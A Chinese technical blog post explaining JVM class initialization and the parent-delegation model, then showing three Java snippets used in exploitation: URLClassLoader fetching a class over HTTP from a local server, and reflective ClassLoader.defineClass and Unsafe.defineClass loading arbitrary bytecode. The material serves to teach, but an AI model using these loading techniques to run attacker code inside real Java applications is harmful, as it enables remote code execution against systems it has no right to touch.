JVM类加载双亲委派机制在漏洞利用时的使用

类加载机制

类初始化的时候会执行:静态代码块
类实例化的时候会执行:静态代码块、构造代码块、无参/有参构造函数

Class.forName()方法默认会初始化类,所以会执行静态代码块。可以通过forName的重载方法,将是否初始化设为false,就不会初始化了。

双亲委派机制

双亲委派的意思是如果一个类加载器需要加载类,那么首先它会把这个类请求委派给父类加载去加载,每一层都是如此,一直递归到顶层。当父加载器无法加载这个类时,子类才会尝试去加载。(这里的双亲委派的父类并不是继承关系,只是调用逻辑是这样。)
在这里插入图片描述

AppClassLoader和ExtClassLoader都继承了URLClassLoader

双亲委派机制的作用

  1. 通过委派的方式,可以避免类的重复加载。
  2. 通过双亲委派的方式,还保证了安全性。因为Bootstrap ClassLoader在加载的时候,只会加载JAVA_HOME中的jar包里面的类,如java.lang.Integer,那么这个类是不会被随意替换的,除非有人跑到你的机器上, 破坏你的JDK。避免有人自定义一个有破坏功能的java.lang.Integer被加载。这样可以有效的防止核心Java API被篡改。

在漏洞利用时使用

  • 可以使用URLClassLoader任意类加载,支持file、http、jar协议,http协议比较好用。
  • 也可以使用ClassLoader的defineClass方法字节码加载任意类,需要反射获取该方法。
  • Unsafe类也有一个defineClass方法,也可以进行字节码加载任意类,但是Unsafe是私有类,也是需要反射获取。Spring里面可以直接生成。
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
        //        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\CT\\")});
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
        Class<?> c = urlClassLoader.loadClass("Aatest");
        Object o = c.newInstance();
    }
}
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
    public static void main(String[] args) throws Exception {
        Class<ClassLoader> classLoaderClass = ClassLoader.class;
        Method defineClassMethod = classLoaderClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\CT\\Aatest.class"));
        Class aatest = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), "Aatest", code, 0, code.length);
        aatest.newInstance();
    }
}
import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
    public static void main(String[] args) throws Exception {
        Class<Unsafe> unsafeClass = Unsafe.class;
        Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        byte[] code = Files.readAllBytes(Paths.get("D:\\CT\\Aatest.class"));
        Class test = (Class) unsafe.defineClass("Aatest", code, 0, code.length, ClassLoader.getSystemClassLoader(), null);
        test.newInstance();
    }
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值